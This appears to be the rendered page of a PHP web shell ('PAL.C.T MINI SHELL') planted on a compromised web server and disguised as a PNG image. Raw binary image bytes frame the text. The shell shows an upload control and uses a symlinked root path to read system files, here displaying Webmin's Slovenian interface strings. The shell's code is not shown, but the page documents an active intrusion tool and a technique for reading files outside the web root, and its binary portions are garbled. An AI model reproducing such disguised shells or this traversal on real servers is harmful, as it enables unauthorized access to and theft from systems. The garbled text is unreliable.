php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lang/sl.auto

main_homepage=Domača stran
main_feedback=Predlogi ..
main_switch=Zamenjaj uporabnika ..
main_logout=Odjava
main_version=Različica $1 v $2 ($3)
main_title=Webmin $1 on $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=Nimate dostopa do nobenih modulov Webmin.
main_skill=Raven spretnosti
main_readonly=(Način samo za branje)
main_return=Vrnite se na $1
main_unused=Neuporabljeni moduli
main_refreshmods=Osvežite module

link_essl=Modul Net::SSLeay Perl, potreben za povezavo HTTPS, ni nameščen v vašem sistemu.

category_servers=Strežniki
category_hardware=Strojna oprema
category_system=Sistem
category_webmin=Webmin
category_net=Mreženje
category_syslet=Syslets
category_cluster=Grozd
category_info=Informacije
category_=Orodja

longcategory_servers=Moduli za konfiguracijski splet, e-pošto, FTP in druge strežnike
longcategory_hardware=Moduli za konfiguracijo tiskalnika, diska in druge strojne opreme
longcategory_system=Moduli za uporabnike, datotečne sisteme, Cron opravila in druge sistemske nastavitve
longcategory_webmin=Moduli za konfiguriranje samega Webmina
longcategory_net=Moduli za konfiguriranje omrežnih in mrežnih storitev
longcategory_cluster=Moduli, ki lahko upravljajo z več strežniki iz enega vmesnika
longcategory_info=Moduli, ki prikazujejo podatke o vašem sistemu
longcategory_=Moduli, ki opravljajo druge raznovrstne naloge

header_webmin=Webmin indeks
header_module=Kazalo modula
header_help=Pomoč ..
header_config=Konfiguriranje modula
header_servers=Webmin strežniki

index=kazalo
yes=Da
no=Ne
save=Shrani
create=Ustvari
delete=Izbriši
find=Najti
error=Napaka
error_previous=Prejšnja stran
error_stack=Track klic
error_file=mapa
error_line=Vrstica
error_sub=Funkcija
error_stackline=V datoteki $1 v vrstici $2 kliče $3
efilewrite=Pisanje v $1 ni uspelo : $2
efileclose=Pri zaprtju ni bilo mogoče zapisati na $1 : $2 
efileopen=$1 ni bilo mogoče odpreti za pisanje : $2
default=Privzeto
modify=Spremeni
reset=Ponastaviti
ok=v redu
cancel=Prekliči
fail=Ni uspelo
helpsearch=Poiščite Dokumente ..
switch_remote_euser=Uporabnik Unixa $1 ne obstaja.
programname=Webmin
euserdbacl=Uporabnika ACL ni bilo mogoče pridobiti : $1
euserdbacl2=Posodobitev uporabnika ACL ni uspela : $1
egroupdbacl=Ni bilo mogoče pridobiti ACL skupine : $1
egroupdbacl2=Posodobitve ACL skupine ni uspelo : $1

chooser_title1=Izberite datoteko ..
chooser_title2=Izberite Imenik ..
chooser_dir=Imenik $1
chooser_ok=V redu
chooser_date=Izberite datum
chooser_eopen=Oglas ni uspel : $1

users_title1=Izberite Uporabniki ..
users_title2=Izberite uporabnika ..
users_sel=Izbrani uporabniki
users_all=Vsi uporabniki
users_ok=V redu
users_cancel=Prekliči
users_clear=Jasno

groups_title1=Izberite Skupine.
groups_title2=Izberite Skupino.
groups_all=Vse skupine
groups_sel=Izbrane skupine
groups_ok=V redu
groups_cancel=Prekliči
groups_clear=Jasno

modules_title1=Izberite Module ..
modules_title2=Izberite modul ..
modules_sel=Izbrani moduli
modules_all=Vsi moduli
modules_ok=V redu
modules_cancel=Prekliči
modules_clear=Jasno

config_ecannot=Tega modula ni dovoljeno konfigurirati
config_title=Konfiguracija
config_dir=Za modul $1
config_header=Možnosti, ki jih je mogoče konfigurirati za $1
config_none=Noben
config_eaccess=Do tega modula nimate dostopa
config_emodule=Modul ne obstaja
config_err=Konfigura ni mogoče shraniti
config_nochange=Ne spreminjaj se
config_setto=Nastavljena
config_ewebmin=Tip parametra 14 deluje samo v Webminu

help_err=Pomoč ni bila prikazana
help_epath=Manjkajoča ali neveljavna pot pomoči
help_efile=Ni bilo mogoče prebrati datoteke pomoči $1
help_eheader=Manjka oddelek <header>
help_einclude=Ni bilo mogoče vključiti $1
help_eif=$1 neuspešno : $2
help_eexec=$1 neuspešno : $2

referer_title=Varnostno opozorilo
referer_warn=<b>Opozorilo!</b> Webmin je odkril, da je bil program $2 povezan z URL-jem $1, ki se zdi zunaj Webmin strežnik. To je morda poskus, da bi vaši strežnik zvabil v izvajanje nevarnega ukaza.
referer_warn_unknown=<b>Opozorilo!</b> Webmin je odkril, da je bil program $1 povezan z neznanim URL-jem, ki se zdi zunaj strežnika Webmin. To je morda poskus, da bi vaši strežnik zvabil v izvajanje nevarnega ukaza.
referer_fix1=If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.</li><li>Go to the <b>Webmin Configuration</b> module.</li><li>Click on the Trusted Referrers icon.</li><li>Enter the hostname $1 into the <b>Trusted websites</b> field, and click <b>Save</b></li>.</ul>
referer_fix2=Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Add the line <tt>referers=$1</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>$1</tt> to it.</li><li>Save the file.</li></ul>
referer_fix3u=Prepričajte se, da je vaš brskalnik konfiguriran za pošiljanje napotitvenih informacij, da jih Webmin lahko preveri.
referer_fix2u=Alternately, you can configure Webmin to allow links from unknown referers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Find the line <tt>referers_none=1</tt> and change it to <tt>referers_none=0</tt>.</li><li>Save the file.</li></ul><p></p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!

session_header=Prijava v Webmin
session_mesg=Za prijavo na strežnik Webmin na $1 morate vnesti uporabniško ime in geslo.
session_mesg2=Za prijavo morate vnesti uporabniško ime in geslo.
session_user=Uporabniško ime
session_pass=Geslo
session_twofactor=Dvofaktorski žeton
session_login=Vpiši se
session_clear=Jasno
session_failed=Prijava ni uspela. Prosim poskusite ponovno.
session_twofailed=Dvofaktorska overitev ni uspela : $1
session_logout=Odjava je bila uspešna. Za ponovno prijavo uporabite spodnji obrazec.
session_timed_out=Seja je potekla po $1 minutah neaktivnosti.
session_save=Se spomnite prijave?

pam_header=Prijava v Webmin
pam_mesg=Na spodnje vprašanje morate odgovoriti, da se prijavite na strežnik Webmin na $1.
pam_mesg2=Za prijavo morate odgovoriti na spodnje vprašanje.
pam_login=Nadaljujte
pam_restart=Ponovni zagon

acl_root=Korenski imenik za izbiro datotek
acl_otherdirs=Drugi vidni imeniki v izbirniku datotek
acl_nodot=Skrij datoteke s pikami v izbirniku datotek?
acl_home=Uporabnikov domači imenik
acl_uedit=Uporabniki, ki so vidni v izbirniku uporabnikov
acl_uedit_all=Vsi uporabniki
acl_uedit_none=Ni uporabnikov
acl_uedit_only=Samo uporabniki
acl_uedit_except=Vsi razen uporabnikov
acl_uedit_uid=Uporabniki z UID-ji v dosegu
acl_uedit_group=Uporabniki s skupino
acl_gedit=Skupine, ki so vidne v izbirniku skupin
acl_gedit_all=Vse skupine
acl_gedit_none=Ni skupin
acl_gedit_only=Samo skupine
acl_gedit_except=Vse razen skupin
acl_gedit_gid=Skupine z GID-ji v dosegu
acl_feedback=Ali lahko pošljete povratne informacije po e-pošti?
acl_feedback2=Da
acl_feedback1=Da, vendar ne s konfiguracijskimi datotekami
acl_feedback0=Ne
acl_feedback3=Da, s konfiguracijskimi datotekami
acl_rpc=Ali lahko sprejemate klice RPC?
acl_rpc2=Samo za <tt>root</tt> ali <tt>admin</tt>
acl_rpc1=Da
acl_rpc0=Ne
acl_readonly2=Uporabnik je v demo načinu?
acl_readonlyyes=Da (Nekateri moduli morda niso na voljo)
acl_negative=Dodeli uporabnikom nova dovoljenja za modul?
acl_fileunix=Brskaj po datotekah kot Unixov uporabnik
acl_sameunix=Enako kot prijava v Webmin
acl_webminsearch=Pokaži iskalno polje za Webmin?

month_1=Januarja
month_2=Februarja
month_3=Marec
month_4=April
month_5=Maj
month_6=Junij
month_7=Julija
month_8=Avgust
month_9=Septembra
month_10=Oktober
month_11=Novembra
month_12=December

day_0=Nedelja
day_1=Ponedeljek
day_2=Torek
day_3=Sreda
day_4=Četrtek
day_5=Petek
day_6=Sobota

smonth_1=Jan
smonth_2=Feb
smonth_3=Mar
smonth_4=Apr
smonth_5=Maj
smonth_6=Junij
smonth_7=Julij
smonth_8=Avg
smonth_9=Sep
smonth_10=Okt
smonth_11=Nov
smonth_12=Dec

sday_0=Su
sday_1=Mo
sday_2=Tu
sday_3=Mi
sday_4=Th
sday_5=Fr
sday_6=Sa

emodule=Dostop zavrnjen: Uporabnik $1 ne sme uporabljati modula $2
emodulecheck=Modul $1 ni na voljo v vašem sistemu
elock_tries2=Datoteke $1 ni bilo mogoče zakleniti po $2 minutah. Zadnja napaka je bila : $3

skill_high=Strokovnjak
skill_medium=Vmesni
skill_low=Novice

feedback_title=Spletne povratne informacije
feedback_desc=Ta obrazec vam omogoča, da prijavite napake pri dajanju predlogov razvijalcem Webmin glede morebitnih težav ali manjkajočih funkcij, ki ste jih našli. Ko kliknete gumb Pošlji, bodo podrobnosti, vnesene v obrazec, poslane po e-pošti $1.
feedback_desc2=Te povratne informacije bodo poslane razvijalcu Webmina, ne vašemu sistemskemu skrbniku, ponudnikom internetnih storitev ali gostiteljskemu podjetju. Prosimo, napišite svoje povratne informacije v angleščini, čeprav trenutno Webmin izvajate v drugem jeziku.
feedback_header=Podrobnosti povratnih informacij
feedback_name=Tvoje ime
feedback_email=Vaš email naslov
feedback_module=Glede modula
feedback_all=Vsi moduli
feedback_text=Opis težave ali predlog
feedback_os=Ali želite v e-pošto vključiti podrobnosti o operacijskem sistemu?
feedback_osdesc=Če je izbrana ta možnost, bo samodejno povratno sporočilo vključilo ime in različico vašega operacijskega sistema.
feedback_config=Ali želite v e-pošto vključiti konfiguracijo modula?
feedback_configdesc=Če je izbrano, bo e-poštno sporočilo vsebovalo konfiguracijo povezanega modula in vsebino vseh konfiguracijskih datotek, ki jih modul uporablja. Na primer, če bi bile povratne informacije povezane z modulom <i>Uporabniki in skupine</i>, bosta vaši datoteki <tt>/etc/passwd</tt> in <tt>/etc/shadow</tt> poslani.
feedback_attach=Dodatne datoteke, ki jih je treba priložiti
feedback_send=Pošlji povratno informacijo
feedback_mailserver=Pošlji preko SMTP strežnika
feedback_mailserver_def=Lokalni program za pošiljanje pošte
feedback_err=Povratnih informacij ni bilo mogoče poslati
feedback_emodule=V e-poštnem sporočilu ste izbrali konfiguracijo modula, vendar modula niste izbrali.
feedback_emodule2=Izbrani modul ne obstaja
feedback_econfig=Nimate popolnega dostopa do izbranega modula.
feedback_via=Poslane povratne informacije na $1 prek strežnika SMTP $2
feedback_prog=Poslane povratne informacije $1 s programom sendmail $2
feedback_esend=Povratne informacije ni bilo mogoče poslati prek sendmail programa ali lokalnega strežnika SMTP.
feedback_to=Pošljite povratne informacije na naslove
feedback_enoto=Nobenega naslova ni bilo mogoče vnesti
feedback_ecannot=Ne smete pošiljati povratnih informacij
feedback_ecannot2=Ne smete pošiljati povratnih informacij, ki vsebujejo konfiguracijske datoteke

progress_size2=Prenos $1 ($2) ..
progress_nosize=Prenos $1 ..
progress_datan=Prejeto $1 ($2 %)
progress_data2n=Prejeto $1
progress_done=.. prenos dokončan.
progress_incache=Najdeno $1 v predpomnilniku.

readparse_cdheader=Manjka glava vsebine-dispozicija
readparse_enc=Pričakujemo kodiranje podatkov obrazcev, vendar je dobil normalno kodiranje
readparse_max=Podatki so presegli največjo velikost $1 bytes

password_expired=Vaše geslo je poteklo in izbrati morate novo.
password_temp=Če želite nadomestiti začasno prijavo, morate izbrati novo geslo.
password_header=Izberite Novo geslo
password_user=Uporabniško ime
password_old=Trenutno geslo
password_new1=Novo geslo
password_new2=Ponovno novo geslo
password_ok=Spremeni se
password_clear=Jasno
password_done=Vaše geslo je bilo uspešno spremenjeno. Zdaj se lahko <a href='$1'>ponovno prijavite</a> z novim geslom.
password_err=Gesla ni bilo mogoče spremeniti
password_euser=Vašega prijavnega imena v datoteki z geslom ni bilo mogoče najti!
password_eold=Trenutno geslo ni pravilno
password_enew1=Nobeno geslo ni bilo vneseno
password_enew2=Vaša nova gesla se ne ujemajo
password_epam=Napaka PAM : $1
password_emodpam=Modul Authen::PAM perl, potreben za spremembo gesla, ni nameščen!
password_enewpass=Novo geslo ni dovoljeno : $1

ui_mandatory=To polje je obvezno
ui_checkmandatory=Nič ni bilo izbrano
ui_errors=Najdenih je bilo več napak :
ui_nothing=Nič ni vneseno
ui_searchcol=Poiščite vrstice kam
ui_searchfor=Vsebuje besedilo
ui_searchok=Iskanje
ui_selall=Izberi vse.
ui_selinv=Obrni izbor.
ui_edate=Neveljaven datum
ui_etime=Neveljaven čas
ui_paging=Prikazovanje vrstic $1 do $2 od $3
ui_rowlabel=$2 v vrstici $1 :
ui_filterbox=Vnesite za filtriranje ..

header_statusmsg=$1 se prijavi v $2 $3 on $4 ($5)

uptracker_title=Nalaganje datoteke
uptracker_file=Ime datoteke
uptracker_size=Velikost
uptracker_pc=Napredek
uptracker_eid=ID za prenos ni naveden
uptracker_eid2=ID nalaganja ni veljaven!
uptracker_of=$1 od $2

wsearch_title=Iščite $1
wsearch_modt=Modul
wsearch_mtitle=Ime modula
wsearch_what=Ujemanje stran
wsearch_type=Vrsta ujemanja
wsearch_mod=$1
wsearch_config_webmin=Konfiguracija modula Webmin
wsearch_config_usermin=Nastavitve za uporabniško ime
wsearch_help=Stran s pomočjo
wsearch_inmod=V $1
wsearch_text=Besedilo uporabniškega vmesnika
wsearch_esearch=Ničesar ni bilo treba vnesti.
wsearch_enone=Najdenih ni bilo nobenih Webmin modulov ali strani, ki bi ustrezale $1.
wsearch_on=(V $1)
wsearch_helpfor=Pomoč za <i>$1</i>
wsearch_htext=Ujemanje besedila
wsearch_htype=Vir
wsearch_hcgis=Reference
wsearch_type_mod=Ime modula
wsearch_type_config=Konfiguracija
wsearch_type_help=Stran s pomočjo
wsearch_type_text=Uporabniški vmesnik
wsearch_type_dir=URL modula
wsearch_hmod=Modul
wsearch_moddir=URL pot /$1/
wsearch_searching=Iskanje $1 ..
wsearch_found=najden $1 rezultati :

sql_emysqldriver=Ni bilo mogoče naložiti gonilnika MySQL DBI
sql_emysqlconnect=Povezava z bazo podatkov MySQL ni uspela : $1
sql_epostgresqldriver=Ni bilo mogoče naložiti gonilnika DBI PostgreSQL
sql_epostgresqlconnect=Povezave z bazo podatkov PostgreSQL ni uspelo : $1
sql_eldapdriver=Ni bilo mogoče naložiti LDAP perl modula
sql_eldapconnect=Povezave s strežnikom LDAP $1 ni bilo mogoče
sql_eldaptls=Šifriranja TLS za LDAP ni bilo mogoče zagnati : $1
sql_eldaplogin=Na strežniku LDAP ni bilo mogoče prijaviti kot $1 : $2 

log_email_subject=Ukrep za Webmin v $1
log_email_global=Globalna akcija Webmin
log_email_desc=To elektronsko sporočilo je Webmin poslal kot odgovor na uporabniško dejanje.
log_email_mod=Webmin modul: $1
log_email_moddesc=Naslov modula: $1
log_email_time=Dejanje izvedeno na: $1
log_email_system=Izvede se v sistemu: $1
log_email_user=Izvaja uporabnik: $1
log_email_script=Spletna skripta: $1
log_email_session=ID seje: $1
log_email_remote=Naslov stranke: $1

nice_size_PB=PB
nice_size_PiB=PiB
nice_size_TB=TBC
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=kB
nice_size_kiB=KiB
nice_size_b=bajti

langauto_include=Vključite strojne prevode

file_truncated_message=pridobljeno $1 podatkov, okrnjeno $2 od $3 
file_truncated_message_head=pridobljen začetek $1 podatkov, okrnjen $2 od $3 
file_truncated_message_tail=prenesen konec $1 podatkov, okrnjen $2 od $3 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`